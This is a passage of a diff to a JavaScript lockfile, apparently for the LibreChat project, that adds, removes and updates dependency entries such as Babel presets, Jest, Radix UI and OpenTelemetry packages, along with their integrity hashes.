"@jest/transform/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
- "@jest/transform/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
+ "@jest/transform/jest-util": ["jest-util@30.2.0", "", { "dependencies": { "@jest/types": "30.2.0", "@types/node": "*", "chalk": "^4.1.2", "ci-info": "^4.2.0", "graceful-fs": "^4.2.11", "picomatch": "^4.0.2" } }, "sha512-QKNsM0o3Xe6ISQU869e+DhG+4CK/48aHYdJZGlFQVTjnbvgpcKyxpzk29fGiO7i/J8VENZ+d2iGnSsvmuHywlA=="],
- "@jest/types/@types/node": ["@types/node@20.11.16", "", { "dependencies": { "undici-types": "~5.26.4" } }, "sha512-gKb0enTmRCzXSSUJDq6/sPcqrfCv2mkkG6Jt/clpn5eiCbKTY+SgZUxo+p8ZKMof5dCp9vHQUAB7wOUTod22wQ=="],
+ "@jest/transform/slash": ["slash@3.0.0", "", {}, "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="],
"@jridgewell/gen-mapping/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="],
@@ -5821,11 +5445,17 @@
"@langchain/mistralai/uuid": ["uuid@10.0.0", "", { "bin": "dist/bin/uuid" }, "sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ=="],
- "@librechat/backend/@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.1004.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-node": "^3.972.18", "@aws-sdk/eventstream-handler-node": "^3.972.10", "@aws-sdk/middleware-eventstream": "^3.972.7", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/middleware-websocket": "^3.972.12", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/eventstream-serde-config-resolver": "^4.3.11", "@smithy/eventstream-serde-node": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-t8cl+bPLlHZQD2Sw1a4hSLUybqJZU71+m8znkyeU8CHntFqEp2mMbuLKdHKaAYQ1fAApXMsvzenCAkDzNeeJlw=="],
+ "@librechat/client/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
- "@librechat/backend/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.14", "", { "dependencies": { "@smithy/abort-controller": "^4.2.11", "@smithy/protocol-http": "^5.3.11", "@smithy/querystring-builder": "^4.2.11", "@smithy/types": "^4.13.0", "tslib": "^2.6.2" } }, "sha512-DamSqaU8nuk0xTJDrYnRzZndHwwRnyj/n/+RqGGCcBKB4qrQem0mSDiWdupaNWdwxzyMU91qxDmHOCazfhtO3A=="],
+ "@librechat/client/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
- "@librechat/client/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
+ "@librechat/client/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
+
+ "@librechat/frontend/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="],
+
+ "@librechat/frontend/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="],
+
+ "@librechat/frontend/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="],
"@librechat/frontend/@react-spring/web": ["@react-spring/web@9.7.5", "", { "dependencies": { "@react-spring/animated": "~9.7.5", "@react-spring/core": "~9.7.5", "@react-spring/shared": "~9.7.5", "@react-spring/types": "~9.7.5" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-lmvqGwpe+CSttsWNZVr+Dg62adtKhauGwLyGE/RRyZ8AAMLgb9x3NDMA5RMElXo+IMyTkPp7nxTB8ZQlmhb6JQ=="],
@@ -5833,20 +5463,20 @@
"@librechat/frontend/framer-motion": ["framer-motion@11.18.2", "", { "dependencies": { "motion-dom": "^11.18.1", "motion-utils": "^11.18.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w=="],
+ "@librechat/frontend/jest-environment-jsdom": ["jest-environment-jsdom@29.7.0", "", { "dependencies": { "@jest/environment": "^29.7.0", "@jest/fake-timers": "^29.7.0", "@jest/types": "^29.6.3", "@types/jsdom": "^20.0.0", "@types/node": "*", "jest-mock": "^29.7.0", "jest-util": "^29.7.0", "jsdom": "^20.0.0" }, "peerDependencies": { "canvas": "^2.5.0" }, "optionalPeers": ["canvas"] }, "sha512-k9iQbsf9OyOfdzWH8HDmrRT0gSIcX+FLNW7IQq94tFX0gynPwqDTW0Ho6iMVNjGz/nb+l/vW3dWM2bbLLpkbXA=="],
+
"@librechat/frontend/lucide-react": ["lucide-react@0.394.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0" } }, "sha512-PzTbJ0bsyXRhH59k5qe7MpTd5MxlpYZUcM9kGSwvPGAfnn0J6FElDwu2EX6Vuh//F7y60rcVJiFQ7EK9DCMgfw=="],
"@mcp-ui/client/@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.21.0", "", { "dependencies": { "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.23.8", "zod-to-json-schema": "^3.24.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" } }, "sha512-YFBsXJMFCyI1zP98u7gezMFKX4lgu/XpoZJk7ufI6UlFKXLj2hAMUuRlQX/nrmIPOmhRrG6tw2OQ2ZA/ZlXYpQ=="],
- "@mistralai/mistralai/zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
-
"@modelcontextprotocol/sdk/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="],
+ "@modelcontextprotocol/sdk/express-rate-limit": ["express-rate-limit@7.5.0", "", { "peerDependencies": { "express": "^4.11 || 5 || ^5.0.0-beta.1" } }, "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg=="],
+
+ "@modelcontextprotocol/sdk/zod-to-json-schema": ["zod-to-json-schema@3.25.0", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-HvWtU2UG41LALjajJrML6uQejQhNJx+JBO9IflpSja4R03iNWfKXrj6W2h7ljuLyc1nKS+9yDyL/9tD1U/yBnQ=="],
+
"@node-saml/node-saml/@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="],
- "@node-saml/node-saml/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
-
- "@node-saml/node-saml/xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="],
-
"@node-saml/passport-saml/@types/express": ["@types/express@4.17.23", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "*" } }, "sha512-Crp6WY9aTYP3qPi2wGDo9iUe/rceX01UMhnF1jmwDcKCFM6cx7YhGP/Mpr3y9AASpfHixIG0E6azCcL5OcDHsQ=="],
"@node-saml/passport-saml/passport": ["passport@0.7.0", "", { "dependencies": { "passport-strategy": "1.x.x", "pause": "0.0.1", "utils-merge": "^1.0.1" } }, "sha512-cPLl+qZpSc+ireUvt+IzqbED1cHHkDoVYMo30jbJIdOOjQ1MQYZBPiNvmi8UM6lJuOpTPXJGZQk0DtC4y61MYQ=="],
@@ -5855,19 +5485,9 @@
"@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.208.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ=="],
- "@opentelemetry/otlp-transformer/protobufjs": ["protobufjs@7.4.0", "", { "dependencies": { "@protobufjs/aspromise": "^1.1.2", "@protobufjs/base64": "^1.1.2", "@protobufjs/codegen": "^2.0.4", "@protobufjs/eventemitter": "^1.1.0", "@protobufjs/fetch": "^1.1.0", "@protobufjs/float": "^1.0.2", "@protobufjs/inquire": "^1.1.0", "@protobufjs/path": "^1.1.2", "@protobufjs/pool": "^1.1.0", "@protobufjs/utf8": "^1.1.0", "@types/node": ">=13.7.0", "long": "^5.0.0" } }, "sha512-mRUWCc3KUU4w1jU8sGxICXH/gNS94DvI1gxqDvBzhj1JpcsimQkYiOJfwsPUykUI5ZaspFbSgmBLER8IrQ3tqw=="],
-
"@opentelemetry/sdk-node/@opentelemetry/exporter-trace-otlp-http": ["@opentelemetry/exporter-trace-otlp-http@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-exporter-base": "0.207.0", "@opentelemetry/otlp-transformer": "0.207.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-HSRBzXHIC7C8UfPQdu15zEEoBGv0yWkhEwxqgPCHVUKUQ9NLHVGXkVrf65Uaj7UwmAkC1gQfkuVYvLlD//AnUQ=="],
- "@radix-ui/react-alert-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
-
- "@radix-ui/react-alert-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
-
- "@radix-ui/react-alert-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg=="],
-
- "@radix-ui/react-alert-dialog/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.1" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA=="],
-
- "@radix-ui/react-alert-dialog/@radix-ui/react-slot": ["@radix-ui/react-slot@1.0.1", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-compose-refs": "1.0.0" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw=="],
+ "@radix-ui/react-alert-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
"@radix-ui/react-arrow/@radix-ui/react-primitive": ["@radix-ui/react-primitive@1.0.3", "", { "dependencies": { "@babel/runtime": "^7.13.10", "@radix-ui/react-slot": "1.0.2" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0", "react-dom": "^16.8 || ^17.0 || ^18.0" } }, "sha512-yi58uVyoAcK/Nq1inRY56ZSjKypBNKTa/1mcL8qdl6oJeEaDbOldlzrGn7P6Q3Id5d+SYNGc5AJgc4vGhjs5+g=="],
@@ -5883,29 +5503,11 @@
"@radix-ui/react-collapsible/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.4", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" } }, "sha512-ueDqRbdc4/bkaQT3GIpLQssRlFgWaL/U2z/S31qRwwLWoxHLgry3SIfCwhxeQNbirEUXFa+lq3RL3oBYXtcmIA=="],
- "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" } }, "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA=="],
+ "@radix-ui/react-dialog/@radix-ui/primitive": ["@radix-ui/primitive@1.1.3", "", {}, "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="],
- "@radix-ui/react-dialog/@radix-ui/react-compose-refs": ["@radix-ui/react-compose-refs@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA=="],
+ "@radix-ui/react-dialog/@radix-ui/react-presence": ["@radix-ui/react-presence@1.1.5", "", { "dependencies": { "@radix-ui/react-compose-refs": "1.1.2", "@radix-ui/react-use-layout-effect": "1.1.1" }, "peerDependencies": { "@types/react": "*", "@types/react-dom": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" }, "optionalPeers": ["@types/react", "@types/react-dom"] }, "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ=="],
- "@radix-ui/react-dialog/@radix-ui/react-context": ["@radix-ui/react-context@1.0.0", "", { "dependencies": { "@babel/runtime": "^7.13.10" }, "peerDependencies": { "react": "^16.8 || ^17.0 || ^18.0" } }, "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg=="],
-
